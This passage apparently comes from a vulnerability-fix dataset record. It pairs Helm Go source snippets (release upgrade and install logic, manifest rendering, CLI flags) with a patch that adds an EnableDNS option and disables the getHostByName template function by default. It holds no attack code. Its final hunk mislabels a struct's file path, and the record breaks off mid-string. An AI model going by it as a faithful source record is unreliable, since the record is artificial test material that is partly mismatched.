driver.ErrReleaseNotFound) {\n\t\t\treturn nil, nil, driver.NewErrNoDeployedReleases(name)\n\t\t}\n\t\treturn nil, nil, err\n\t}\n\n\t// Concurrent `helm upgrade`s will either fail here with `errPending` or when creating the release with \"already exists\". This should act as a pessimistic lock.\n\tif lastRelease.Info.Status.IsPending() {\n\t\treturn nil, nil, errPending\n\t}\n\n\tvar currentRelease *release.Release\n\tif lastRelease.Info.Status == release.StatusDeployed {\n\t\t// no need to retrieve the last deployed release from storage as the last release is deployed\n\t\tcurrentRelease = lastRelease\n\t} else {\n\t\t// finds the deployed release with the given name\n\t\tcurrentRelease, err = u.cfg.Releases.Deployed(name)\n\t\tif err != nil {\n\t\t\tif errors.Is(err, driver.ErrNoDeployedReleases) &&\n\t\t\t\t(lastRelease.Info.Status == release.StatusFailed || lastRelease.Info.Status == release.StatusSuperseded) {\n\t\t\t\tcurrentRelease = lastRelease\n\t\t\t} else {\n\t\t\t\treturn nil, nil, err\n\t\t\t}\n\t\t}\n\t}\n\n\t// determine if values will be reused\n\tvals, err = u.reuseValues(chart, currentRelease, vals)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\tif err := chartutil.ProcessDependencies(chart, vals); err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\t// Increment revision count. This is passed to templates, and also stored on\n\t// the release object.\n\trevision := lastRelease.Version + 1\n\n\toptions := chartutil.ReleaseOptions{\n\t\tName:      name,\n\t\tNamespace: currentRelease.Namespace,\n\t\tRevision:  revision,\n\t\tIsUpgrade: true,\n\t}\n\n\tcaps, err := u.cfg.getCapabilities()\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\tvaluesToRender, err := chartutil.ToRenderValues(chart, vals, options, caps)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\thooks, manifestDoc, notesTxt, err := u.cfg.renderResources(chart, valuesToRender, \"\", \"\", u.SubNotes, false, false, u.PostRenderer, u.DryRun, u.EnableDNS)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\t// Store an upgraded release.\n\tupgradedRelease := &release.Release{\n\t\tName:      name,\n\t\tNamespace: currentRelease.Namespace,\n\t\tChart:     chart,\n\t\tConfig:    vals,\n\t\tInfo: &release.Info{\n\t\t\tFirstDeployed: currentRelease.Info.FirstDeployed,\n\t\t\tLastDeployed:  Timestamper(),\n\t\t\tStatus:        release.StatusPendingUpgrade,\n\t\t\tDescription:   \"Preparing upgrade\", // This should be overwritten later.\n\t\t},\n\t\tVersion:  revision,\n\t\tManifest: manifestDoc.String(),\n\t\tHooks:    hooks,\n\t}\n\n\tif len(notesTxt) > 0 {\n\t\tupgradedRelease.Info.Notes = notesTxt\n\t}\n\terr = validateManifest(u.cfg.KubeClient, manifestDoc.Bytes(), !u.DisableOpenAPIValidation)\n\treturn currentRelease, upgradedRelease, err\n}"}, {"id": "fix_go_49_5", "commit": "5abcf74227bfe8e5a3dbf105fe62e7b12deb58d2", "file_path": "pkg/action/install.go", "start_line": 66, "end_line": 108, "snippet": "type Install struct {\n\tcfg *Configuration\n\n\tChartPathOptions\n\n\tClientOnly               bool\n\tForce                    bool\n\tCreateNamespace          bool\n\tDryRun                   bool\n\tDisableHooks             bool\n\tReplace                  bool\n\tWait                     bool\n\tWaitForJobs              bool\n\tDevel                    bool\n\tDependencyUpdate         bool\n\tTimeout                  time.Duration\n\tNamespace                string\n\tReleaseName              string\n\tGenerateName             bool\n\tNameTemplate             string\n\tDescription              string\n\tOutputDir                string\n\tAtomic                   bool\n\tSkipCRDs                 bool\n\tSubNotes                 bool\n\tDisableOpenAPIValidation bool\n\tIncludeCRDs              bool\n\t// KubeVersion allows specifying a custom kubernetes version to use and\n\t// APIVersions allows a manual set of supported API Versions to be passed\n\t// (for things like templating). These are ignored if ClientOnly is false\n\tKubeVersion *chartutil.KubeVersion\n\tAPIVersions chartutil.VersionSet\n\t// Used by helm template to render charts with .Release.IsUpgrade. Ignored if Dry-Run is false\n\tIsUpgrade bool\n\t// Enable DNS lookups when rendering templates\n\tEnableDNS bool\n\t// Used by helm template to add the release as part of OutputDir path\n\t// OutputDir/<ReleaseName>\n\tUseReleaseName bool\n\tPostRenderer   postrender.PostRenderer\n\t// Lock to control raceconditions when the process receives a SIGTERM\n\tLock sync.Mutex\n}"}, {"id": "fix_go_49_6", "commit": "5abcf74227bfe8e5a3dbf105fe62e7b12deb58d2", "file_path": "pkg/action/install.go", "start_line": 192, "end_line": 357, "snippet": "func (i *Install) RunWithContext(ctx context.Context, chrt *chart.Chart, vals map[string]interface{}) (*release.Release, error) {\n\t// Check reachability of cluster unless in client-only mode (e.g. `helm template` without `--validate`)\n\tif !i.ClientOnly {\n\t\tif err := i.cfg.KubeClient.IsReachable(); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\tif err := i.availableName(); err != nil {\n\t\treturn nil, err\n\t}\n\n\tif err := chartutil.ProcessDependencies(chrt, vals); err != nil {\n\t\treturn nil, err\n\t}\n\n\t// Pre-install anything in the crd/ directory. We do this before Helm\n\t// contacts the upstream server and builds the capabilities object.\n\tif crds := chrt.CRDObjects(); !i.ClientOnly && !i.SkipCRDs && len(crds) > 0 {\n\t\t// On dry run, bail here\n\t\tif i.DryRun {\n\t\t\ti.cfg.Log(\"WARNING: This chart or one of its subcharts contains CRDs. Rendering may fail or contain inaccuracies.\")\n\t\t} else if err := i.installCRDs(crds); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\tif i.ClientOnly {\n\t\t// Add mock objects in here so it doesn't use Kube API server\n\t\t// NOTE(bacongobbler): used for `helm template`\n\t\ti.cfg.Capabilities = chartutil.DefaultCapabilities.Copy()\n\t\tif i.KubeVersion != nil {\n\t\t\ti.cfg.Capabilities.KubeVersion = *i.KubeVersion\n\t\t}\n\t\ti.cfg.Capabilities.APIVersions = append(i.cfg.Capabilities.APIVersions, i.APIVersions...)\n\t\ti.cfg.KubeClient = &kubefake.PrintingKubeClient{Out: ioutil.Discard}\n\n\t\tmem := driver.NewMemory()\n\t\tmem.SetNamespace(i.Namespace)\n\t\ti.cfg.Releases = storage.Init(mem)\n\t} else if !i.ClientOnly && len(i.APIVersions) > 0 {\n\t\ti.cfg.Log(\"API Version list given outside of client only mode, this list will be ignored\")\n\t}\n\n\t// Make sure if Atomic is set, that wait is set as well. This makes it so\n\t// the user doesn't have to specify both\n\ti.Wait = i.Wait || i.Atomic\n\n\tcaps, err := i.cfg.getCapabilities()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// special case for helm template --is-upgrade\n\tisUpgrade := i.IsUpgrade && i.DryRun\n\toptions := chartutil.ReleaseOptions{\n\t\tName:      i.ReleaseName,\n\t\tNamespace: i.Namespace,\n\t\tRevision:  1,\n\t\tIsInstall: !isUpgrade,\n\t\tIsUpgrade: isUpgrade,\n\t}\n\tvaluesToRender, err := chartutil.ToRenderValues(chrt, vals, options, caps)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\trel := i.createRelease(chrt, vals)\n\n\tvar manifestDoc *bytes.Buffer\n\trel.Hooks, manifestDoc, rel.Info.Notes, err = i.cfg.renderResources(chrt, valuesToRender, i.ReleaseName, i.OutputDir, i.SubNotes, i.UseReleaseName, i.IncludeCRDs, i.PostRenderer, i.DryRun, i.EnableDNS)\n\t// Even for errors, attach this if available\n\tif manifestDoc != nil {\n\t\trel.Manifest = manifestDoc.String()\n\t}\n\t// Check error from render\n\tif err != nil {\n\t\trel.SetStatus(release.StatusFailed, fmt.Sprintf(\"failed to render resource: %s\", err.Error()))\n\t\t// Return a release with partial data so that the client can show debugging information.\n\t\treturn rel, err\n\t}\n\n\t// Mark this release as in-progress\n\trel.SetStatus(release.StatusPendingInstall, \"Initial install underway\")\n\n\tvar toBeAdopted kube.ResourceList\n\tresources, err := i.cfg.KubeClient.Build(bytes.NewBufferString(rel.Manifest), !i.DisableOpenAPIValidation)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"unable to build kubernetes objects from release manifest\")\n\t}\n\n\t// It is safe to use \"force\" here because these are resources currently rendered by the chart.\n\terr = resources.Visit(setMetadataVisitor(rel.Name, rel.Namespace, true))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// Install requires an extra validation step of checking that resources\n\t// don't already exist before we actually create resources. If we continue\n\t// forward and create the release object with resources that already exist,\n\t// we'll end up in a state where we will delete those resources upon\n\t// deleting the release because the manifest will be pointing at that\n\t// resource\n\tif !i.ClientOnly && !isUpgrade && len(resources) > 0 {\n\t\ttoBeAdopted, err = existingResourceConflict(resources, rel.Name, rel.Namespace)\n\t\tif err != nil {\n\t\t\treturn nil, errors.Wrap(err, \"rendered manifests contain a resource that already exists. Unable to continue with install\")\n\t\t}\n\t}\n\n\t// Bail out here if it is a dry run\n\tif i.DryRun {\n\t\trel.Info.Description = \"Dry run complete\"\n\t\treturn rel, nil\n\t}\n\n\tif i.CreateNamespace {\n\t\tns := &v1.Namespace{\n\t\t\tTypeMeta: metav1.TypeMeta{\n\t\t\t\tAPIVersion: \"v1\",\n\t\t\t\tKind:       \"Namespace\",\n\t\t\t},\n\t\t\tObjectMeta: metav1.ObjectMeta{\n\t\t\t\tName: i.Namespace,\n\t\t\t\tLabels: map[string]string{\n\t\t\t\t\t\"name\": i.Namespace,\n\t\t\t\t},\n\t\t\t},\n\t\t}\n\t\tbuf, err := yaml.Marshal(ns)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tresourceList, err := i.cfg.KubeClient.Build(bytes.NewBuffer(buf), true)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tif _, err := i.cfg.KubeClient.Create(resourceList); err != nil && !apierrors.IsAlreadyExists(err) {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\t// If Replace is true, we need to supercede the last release.\n\tif i.Replace {\n\t\tif err := i.replaceRelease(rel); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\t// Store the release in history before continuing (new in Helm 3). We always know\n\t// that this is a create operation.\n\tif err := i.cfg.Releases.Create(rel); err != nil {\n\t\t// We could try to recover gracefully here, but since nothing has been installed\n\t\t// yet, this is probably safer than trying to continue when we know storage is\n\t\t// not working.\n\t\treturn rel, err\n\t}\n\trChan := make(chan resultMessage)\n\tdoneChan := make(chan struct{})\n\tdefer close(doneChan)\n\tgo i.performInstall(rChan, rel, toBeAdopted, resources)\n\tgo i.handleContext(ctx, rChan, doneChan, rel)\n\tresult := <-rChan\n\t//start preformInstall go routine\n\treturn result.r, result.e\n}"}, {"id": "fix_go_49_7", "commit": "5abcf74227bfe8e5a3dbf105fe62e7b12deb58d2", "file_path": "pkg/action/action.go", "start_line": 106, "end_line": 231, "snippet": "func (cfg *Configuration) renderResources(ch *chart.Chart, values chartutil.Values, releaseName, outputDir string, subNotes, useReleaseName, includeCrds bool, pr postrender.PostRenderer, dryRun, enableDNS bool) ([]*release.Hook, *bytes.Buffer, string, error) {\n\ths := []*release.Hook{}\n\tb := bytes.NewBuffer(nil)\n\n\tcaps, err := cfg.getCapabilities()\n\tif err != nil {\n\t\treturn hs, b, \"\", err\n\t}\n\n\tif ch.Metadata.KubeVersion != \"\" {\n\t\tif !chartutil.IsCompatibleRange(ch.Metadata.KubeVersion, caps.KubeVersion.String()) {\n\t\t\treturn hs, b, \"\", errors.Errorf(\"chart requires kubeVersion: %s which is incompatible with Kubernetes %s\", ch.Metadata.KubeVersion, caps.KubeVersion.String())\n\t\t}\n\t}\n\n\tvar files map[string]string\n\tvar err2 error\n\n\t// A `helm template` or `helm install --dry-run` should not talk to the remote cluster.\n\t// It will break in interesting and exotic ways because other data (e.g. discovery)\n\t// is mocked. It is not up to the template author to decide when the user wants to\n\t// connect to the cluster. So when the user says to dry run, respect the user's\n\t// wishes and do not connect to the cluster.\n\tif !dryRun && cfg.RESTClientGetter != nil {\n\t\trestConfig, err := cfg.RESTClientGetter.ToRESTConfig()\n\t\tif err != nil {\n\t\t\treturn hs, b, \"\", err\n\t\t}\n\t\te := engine.New(restConfig)\n\t\te.EnableDNS = enableDNS\n\t\tfiles, err2 = e.Render(ch, values)\n\t} else {\n\t\tvar e engine.Engine\n\t\te.EnableDNS = enableDNS\n\t\tfiles, err2 = e.Render(ch, values)\n\t}\n\n\tif err2 != nil {\n\t\treturn hs, b, \"\", err2\n\t}\n\n\t// NOTES.txt gets rendered like all the other files, but because it's not a hook nor a resource,\n\t// pull it out of here into a separate file so that we can actually use the output of the rendered\n\t// text file. We have to spin through this map because the file contains path information, so we\n\t// look for terminating NOTES.txt. We also remove it from the files so that we don't have to skip\n\t// it in the sortHooks.\n\tvar notesBuffer bytes.Buffer\n\tfor k, v := range files {\n\t\tif strings.HasSuffix(k, notesFileSuffix) {\n\t\t\tif subNotes || (k == path.Join(ch.Name(), \"templates\", notesFileSuffix)) {\n\t\t\t\t// If buffer contains data, add newline before adding more\n\t\t\t\tif notesBuffer.Len() > 0 {\n\t\t\t\t\tnotesBuffer.WriteString(\"\\n\")\n\t\t\t\t}\n\t\t\t\tnotesBuffer.WriteString(v)\n\t\t\t}\n\t\t\tdelete(files, k)\n\t\t}\n\t}\n\tnotes := notesBuffer.String()\n\n\t// Sort hooks, manifests, and partials. Only hooks and manifests are returned,\n\t// as partials are not used after renderer.Render. Empty manifests are also\n\t// removed here.\n\ths, manifests, err := releaseutil.SortManifests(files, caps.APIVersions, releaseutil.InstallOrder)\n\tif err != nil {\n\t\t// By catching parse errors here, we can prevent bogus releases from going\n\t\t// to Kubernetes.\n\t\t//\n\t\t// We return the files as a big blob of data to help the user debug parser\n\t\t// errors.\n\t\tfor name, content := range files {\n\t\t\tif strings.TrimSpace(content) == \"\" {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tfmt.Fprintf(b, \"---\\n# Source: %s\\n%s\\n\", name, content)\n\t\t}\n\t\treturn hs, b, \"\", err\n\t}\n\n\t// Aggregate all valid manifests into one big doc.\n\tfileWritten := make(map[string]bool)\n\n\tif includeCrds {\n\t\tfor _, crd := range ch.CRDObjects() {\n\t\t\tif outputDir == \"\" {\n\t\t\t\tfmt.Fprintf(b, \"---\\n# Source: %s\\n%s\\n\", crd.Name, string(crd.File.Data[:]))\n\t\t\t} else {\n\t\t\t\terr = writeToFile(outputDir, crd.Filename, string(crd.File.Data[:]), fileWritten[crd.Name])\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn hs, b, \"\", err\n\t\t\t\t}\n\t\t\t\tfileWritten[crd.Name] = true\n\t\t\t}\n\t\t}\n\t}\n\n\tfor _, m := range manifests {\n\t\tif outputDir == \"\" {\n\t\t\tfmt.Fprintf(b, \"---\\n# Source: %s\\n%s\\n\", m.Name, m.Content)\n\t\t} else {\n\t\t\tnewDir := outputDir\n\t\t\tif useReleaseName {\n\t\t\t\tnewDir = filepath.Join(outputDir, releaseName)\n\t\t\t}\n\t\t\t// NOTE: We do not have to worry about the post-renderer because\n\t\t\t// output dir is only used by `helm template`. In the next major\n\t\t\t// release, we should move this logic to template only as it is not\n\t\t\t// used by install or upgrade\n\t\t\terr = writeToFile(newDir, m.Name, m.Content, fileWritten[m.Name])\n\t\t\tif err != nil {\n\t\t\t\treturn hs, b, \"\", err\n\t\t\t}\n\t\t\tfileWritten[m.Name] = true\n\t\t}\n\t}\n\n\tif pr != nil {\n\t\tb, err = pr.Run(b)\n\t\tif err != nil {\n\t\t\treturn hs, b, notes, errors.Wrap(err, \"error while running post render on files\")\n\t\t}\n\t}\n\n\treturn hs, b, notes, nil\n}"}, {"id": "fix_go_49_8", "commit": "5abcf74227bfe8e5a3dbf105fe62e7b12deb58d2", "file_path": "cmd/helm/upgrade.go", "start_line": 70, "end_line": 254, "snippet": "func newUpgradeCmd(cfg *action.Configuration, out io.Writer) *cobra.Command {\n\tclient := action.NewUpgrade(cfg)\n\tvalueOpts := &values.Options{}\n\tvar outfmt output.Format\n\tvar createNamespace bool\n\n\tcmd := &cobra.Command{\n\t\tUse:   \"upgrade [RELEASE] [CHART]\",\n\t\tShort: \"upgrade a release\",\n\t\tLong:  upgradeDesc,\n\t\tArgs:  require.ExactArgs(2),\n\t\tValidArgsFunction: func(cmd *cobra.Command, args []string, toComplete string) ([]string, cobra.ShellCompDirective) {\n\t\t\tif len(args) == 0 {\n\t\t\t\treturn compListReleases(toComplete, args, cfg)\n\t\t\t}\n\t\t\tif len(args) == 1 {\n\t\t\t\treturn compListCharts(toComplete, true)\n\t\t\t}\n\t\t\treturn nil, cobra.ShellCompDirectiveNoFileComp\n\t\t},\n\t\tRunE: func(cmd *cobra.Command, args []string) error {\n\t\t\tclient.Namespace = settings.Namespace()\n\n\t\t\t// Fixes #7002 - Support reading values from STDIN for `upgrade` command\n\t\t\t// Must load values AFTER determining if we have to call install so that values loaded from stdin are are not read twice\n\t\t\tif client.Install {\n\t\t\t\t// If a release does not exist, install it.\n\t\t\t\thistClient := action.NewHistory(cfg)\n\t\t\t\thistClient.Max = 1\n\t\t\t\tif _, err := histClient.Run(args[0]); err == driver.ErrReleaseNotFound {\n\t\t\t\t\t// Only print this to stdout for table output\n\t\t\t\t\tif outfmt == output.Table {\n\t\t\t\t\t\tfmt.Fprintf(out, \"Release %q does not exist. Installing it now.\\n\", args[0])\n\t\t\t\t\t}\n\t\t\t\t\tinstClient := action.NewInstall(cfg)\n\t\t\t\t\tinstClient.CreateNamespace = createNamespace\n\t\t\t\t\tinstClient.ChartPathOptions = client.ChartPathOptions\n\t\t\t\t\tinstClient.Force = client.Force\n\t\t\t\t\tinstClient.DryRun = client.DryRun\n\t\t\t\t\tinstClient.DisableHooks = client.DisableHooks\n\t\t\t\t\tinstClient.SkipCRDs = client.SkipCRDs\n\t\t\t\t\tinstClient.Timeout = client.Timeout\n\t\t\t\t\tinstClient.Wait = client.Wait\n\t\t\t\t\tinstClient.WaitForJobs = client.WaitForJobs\n\t\t\t\t\tinstClient.Devel = client.Devel\n\t\t\t\t\tinstClient.Namespace = client.Namespace\n\t\t\t\t\tinstClient.Atomic = client.Atomic\n\t\t\t\t\tinstClient.PostRenderer = client.PostRenderer\n\t\t\t\t\tinstClient.DisableOpenAPIValidation = client.DisableOpenAPIValidation\n\t\t\t\t\tinstClient.SubNotes = client.SubNotes\n\t\t\t\t\tinstClient.Description = client.Description\n\t\t\t\t\tinstClient.DependencyUpdate = client.DependencyUpdate\n\t\t\t\t\tinstClient.EnableDNS = client.EnableDNS\n\n\t\t\t\t\trel, err := runInstall(args, instClient, valueOpts, out)\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\treturn err\n\t\t\t\t\t}\n\t\t\t\t\treturn outfmt.Write(out, &statusPrinter{rel, settings.Debug, false, false})\n\t\t\t\t} else if err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif client.Version == \"\" && client.Devel {\n\t\t\t\tdebug(\"setting version to >0.0.0-0\")\n\t\t\t\tclient.Version = \">0.0.0-0\"\n\t\t\t}\n\n\t\t\tchartPath, err := client.ChartPathOptions.LocateChart(args[1], settings)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\tp := getter.All(settings)\n\t\t\tvals, err := valueOpts.MergeValues(p)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\t// Check chart dependencies to make sure all are present in /charts\n\t\t\tch, err := loader.Load(chartPath)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tif req := ch.Metadata.Dependencies; req != nil {\n\t\t\t\tif err := action.CheckDependencies(ch, req); err != nil {\n\t\t\t\t\terr = errors.Wrap(err, \"An error occurred while checking for chart dependencies. You may need to run `helm dependency build` to fetch missing dependencies\")\n\t\t\t\t\tif client.DependencyUpdate {\n\t\t\t\t\t\tman := &downloader.Manager{\n\t\t\t\t\t\t\tOut:              out,\n\t\t\t\t\t\t\tChartPath:        chartPath,\n\t\t\t\t\t\t\tKeyring:          client.ChartPathOptions.Keyring,\n\t\t\t\t\t\t\tSkipUpdate:       false,\n\t\t\t\t\t\t\tGetters:          p,\n\t\t\t\t\t\t\tRepositoryConfig: settings.RepositoryConfig,\n\t\t\t\t\t\t\tRepositoryCache:  settings.RepositoryCache,\n\t\t\t\t\t\t\tDebug:            settings.Debug,\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif err := man.Update(); err != nil {\n\t\t\t\t\t\t\treturn err\n\t\t\t\t\t\t}\n\t\t\t\t\t\t// Reload the chart with the updated Chart.lock file.\n\t\t\t\t\t\tif ch, err = loader.Load(chartPath); err != nil {\n\t\t\t\t\t\t\treturn errors.Wrap(err, \"failed reloading chart after repo update\")\n\t\t\t\t\t\t}\n\t\t\t\t\t} else {\n\t\t\t\t\t\treturn err\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif ch.Metadata.Deprecated {\n\t\t\t\twarning(\"This chart is deprecated\")\n\t\t\t}\n\n\t\t\t// Create context and prepare the handle of SIGTERM\n\t\t\tctx := context.Background()\n\t\t\tctx, cancel := context.WithCancel(ctx)\n\n\t\t\t// Set up channel on which to send signal notifications.\n\t\t\t// We must use a buffered channel or risk missing the signal\n\t\t\t// if we're not ready to receive when the signal is sent.\n\t\t\tcSignal := make(chan os.Signal, 2)\n\t\t\tsignal.Notify(cSignal, os.Interrupt, syscall.SIGTERM)\n\t\t\tgo func() {\n\t\t\t\t<-cSignal\n\t\t\t\tfmt.Fprintf(out, \"Release %s has been cancelled.\\n\", args[0])\n\t\t\t\tcancel()\n\t\t\t}()\n\n\t\t\trel, err := client.RunWithContext(ctx, args[0], ch, vals)\n\t\t\tif err != nil {\n\t\t\t\treturn errors.Wrap(err, \"UPGRADE FAILED\")\n\t\t\t}\n\n\t\t\tif outfmt == output.Table {\n\t\t\t\tfmt.Fprintf(out, \"Release %q has been upgraded. Happy Helming!\\n\", args[0])\n\t\t\t}\n\n\t\t\treturn outfmt.Write(out, &statusPrinter{rel, settings.Debug, false, false})\n\t\t},\n\t}\n\n\tf := cmd.Flags()\n\tf.BoolVar(&createNamespace, \"create-namespace\", false, \"if --install is set, create the release namespace if not present\")\n\tf.BoolVarP(&client.Install, \"install\", \"i\", false, \"if a release by this name doesn't already exist, run an install\")\n\tf.BoolVar(&client.Devel, \"devel\", false, \"use development versions, too. Equivalent to version '>0.0.0-0'. If --version is set, this is ignored\")\n\tf.BoolVar(&client.DryRun, \"dry-run\", false, \"simulate an upgrade\")\n\tf.BoolVar(&client.Recreate, \"recreate-pods\", false, \"performs pods restart for the resource if applicable\")\n\tf.MarkDeprecated(\"recreate-pods\", \"functionality will no longer be updated. Consult the documentation for other methods to recreate pods\")\n\tf.BoolVar(&client.Force, \"force\", false, \"force resource updates through a replacement strategy\")\n\tf.BoolVar(&client.DisableHooks, \"no-hooks\", false, \"disable pre/post upgrade hooks\")\n\tf.BoolVar(&client.DisableOpenAPIValidation, \"disable-openapi-validation\", false, \"if set, the upgrade process will not validate rendered templates against the Kubernetes OpenAPI Schema\")\n\tf.BoolVar(&client.SkipCRDs, \"skip-crds\", false, \"if set, no CRDs will be installed when an upgrade is performed with install flag enabled. By default, CRDs are installed if not already present, when an upgrade is performed with install flag enabled\")\n\tf.DurationVar(&client.Timeout, \"timeout\", 300*time.Second, \"time to wait for any individual Kubernetes operation (like Jobs for hooks)\")\n\tf.BoolVar(&client.ResetValues, \"reset-values\", false, \"when upgrading, reset the values to the ones built into the chart\")\n\tf.BoolVar(&client.ReuseValues, \"reuse-values\", false, \"when upgrading, reuse the last release's values and merge in any overrides from the command line via --set and -f. If '--reset-values' is specified, this is ignored\")\n\tf.BoolVar(&client.Wait, \"wait\", false, \"if set, will wait until all Pods, PVCs, Services, and minimum number of Pods of a Deployment, StatefulSet, or ReplicaSet are in a ready state before marking the release as successful. It will wait for as long as --timeout\")\n\tf.BoolVar(&client.WaitForJobs, \"wait-for-jobs\", false, \"if set and --wait enabled, will wait until all Jobs have been completed before marking the release as successful. It will wait for as long as --timeout\")\n\tf.BoolVar(&client.Atomic, \"atomic\", false, \"if set, upgrade process rolls back changes made in case of failed upgrade. The --wait flag will be set automatically if --atomic is used\")\n\tf.IntVar(&client.MaxHistory, \"history-max\", settings.MaxHistory, \"limit the maximum number of revisions saved per release. Use 0 for no limit\")\n\tf.BoolVar(&client.CleanupOnFail, \"cleanup-on-fail\", false, \"allow deletion of new resources created in this upgrade when upgrade fails\")\n\tf.BoolVar(&client.SubNotes, \"render-subchart-notes\", false, \"if set, render subchart notes along with the parent\")\n\tf.StringVar(&client.Description, \"description\", \"\", \"add a custom description\")\n\tf.BoolVar(&client.DependencyUpdate, \"dependency-update\", false, \"update dependencies if they are missing before installing the chart\")\n\tf.BoolVar(&client.EnableDNS, \"enable-dns\", false, \"enable DNS lookups when rendering templates\")\n\taddChartPathOptionsFlags(f, &client.ChartPathOptions)\n\taddValueOptionsFlags(f, valueOpts)\n\tbindOutputFlag(cmd, &outfmt)\n\tbindPostRenderFlag(cmd, &client.PostRenderer)\n\n\terr := cmd.RegisterFlagCompletionFunc(\"version\", func(cmd *cobra.Command, args []string, toComplete string) ([]string, cobra.ShellCompDirective) {\n\t\tif len(args) != 2 {\n\t\t\treturn nil, cobra.ShellCompDirectiveNoFileComp\n\t\t}\n\t\treturn compVersionFlag(args[1], toComplete)\n\t})\n\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\treturn cmd\n}"}, {"id": "fix_go_49_9", "commit": "5abcf74227bfe8e5a3dbf105fe62e7b12deb58d2", "file_path": "cmd/helm/install.go", "start_line": 155, "end_line": 191, "snippet": "func addInstallFlags(cmd *cobra.Command, f *pflag.FlagSet, client *action.Install, valueOpts *values.Options) {\n\tf.BoolVar(&client.CreateNamespace, \"create-namespace\", false, \"create the release namespace if not present\")\n\tf.BoolVar(&client.DryRun, \"dry-run\", false, \"simulate an install\")\n\tf.BoolVar(&client.Force, \"force\", false, \"force resource updates through a replacement strategy\")\n\tf.BoolVar(&client.DisableHooks, \"no-hooks\", false, \"prevent hooks from running during install\")\n\tf.BoolVar(&client.Replace, \"replace\", false, \"re-use the given name, only if that name is a deleted release which remains in the history. This is unsafe in production\")\n\tf.DurationVar(&client.Timeout, \"timeout\", 300*time.Second, \"time to wait for any individual Kubernetes operation (like Jobs for hooks)\")\n\tf.BoolVar(&client.Wait, \"wait\", false, \"if set, will wait until all Pods, PVCs, Services, and minimum number of Pods of a Deployment, StatefulSet, or ReplicaSet are in a ready state before marking the release as successful. It will wait for as long as --timeout\")\n\tf.BoolVar(&client.WaitForJobs, \"wait-for-jobs\", false, \"if set and --wait enabled, will wait until all Jobs have been completed before marking the release as successful. It will wait for as long as --timeout\")\n\tf.BoolVarP(&client.GenerateName, \"generate-name\", \"g\", false, \"generate the name (and omit the NAME parameter)\")\n\tf.StringVar(&client.NameTemplate, \"name-template\", \"\", \"specify template used to name the release\")\n\tf.StringVar(&client.Description, \"description\", \"\", \"add a custom description\")\n\tf.BoolVar(&client.Devel, \"devel\", false, \"use development versions, too. Equivalent to version '>0.0.0-0'. If --version is set, this is ignored\")\n\tf.BoolVar(&client.DependencyUpdate, \"dependency-update\", false, \"update dependencies if they are missing before installing the chart\")\n\tf.BoolVar(&client.DisableOpenAPIValidation, \"disable-openapi-validation\", false, \"if set, the installation process will not validate rendered templates against the Kubernetes OpenAPI Schema\")\n\tf.BoolVar(&client.Atomic, \"atomic\", false, \"if set, the installation process deletes the installation on failure. The --wait flag will be set automatically if --atomic is used\")\n\tf.BoolVar(&client.SkipCRDs, \"skip-crds\", false, \"if set, no CRDs will be installed. By default, CRDs are installed if not already present\")\n\tf.BoolVar(&client.SubNotes, \"render-subchart-notes\", false, \"if set, render subchart notes along with the parent\")\n\tf.BoolVar(&client.EnableDNS, \"enable-dns\", false, \"enable DNS lookups when rendering templates\")\n\taddValueOptionsFlags(f, valueOpts)\n\taddChartPathOptionsFlags(f, &client.ChartPathOptions)\n\n\terr := cmd.RegisterFlagCompletionFunc(\"version\", func(cmd *cobra.Command, args []string, toComplete string) ([]string, cobra.ShellCompDirective) {\n\t\trequiredArgs := 2\n\t\tif client.GenerateName {\n\t\t\trequiredArgs = 1\n\t\t}\n\t\tif len(args) != requiredArgs {\n\t\t\treturn nil, cobra.ShellCompDirectiveNoFileComp\n\t\t}\n\t\treturn compVersionFlag(args[requiredArgs-1], toComplete)\n\t})\n\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n}"}], "vul_patch": "--- a/pkg/engine/engine.go\n+++ b/pkg/engine/engine.go\n@@ -6,4 +6,13 @@\n \tLintMode bool\n \t// the rest config to connect to the kubernetes api\n \tconfig *rest.Config\n+\t// EnableDNS tells the engine to allow DNS lookups when rendering templates\n+\tEnableDNS bool\n }\n+\n+// New creates a new instance of Engine using the passed in rest config.\n+func New(config *rest.Config) Engine {\n+\treturn Engine{\n+\t\tconfig: config,\n+\t}\n+}\n\n--- a/pkg/engine/engine.go\n+++ b/pkg/engine/engine.go\n@@ -83,5 +83,13 @@\n \t\tfuncMap[\"lookup\"] = NewLookupFunction(e.config)\n \t}\n \n+\t// When DNS lookups are not enabled override the sprig function and return\n+\t// an empty string.\n+\tif !e.EnableDNS {\n+\t\tfuncMap[\"getHostByName\"] = func(name string) string {\n+\t\t\treturn \"\"\n+\t\t}\n+\t}\n+\n \tt.Funcs(funcMap)\n }\n\n--- /dev/null\n+++ b/pkg/engine/engine.go\n@@ -0,0 +1,66 @@\n+type Upgrade struct {\n+\tcfg *Configuration\n+\n+\tChartPathOptions\n+\n+\t// Install is a purely informative flag that indicates whether this upgrade was done in \"install\" mode.\n+\t//\n+\t// Applications may use this to determine whether this 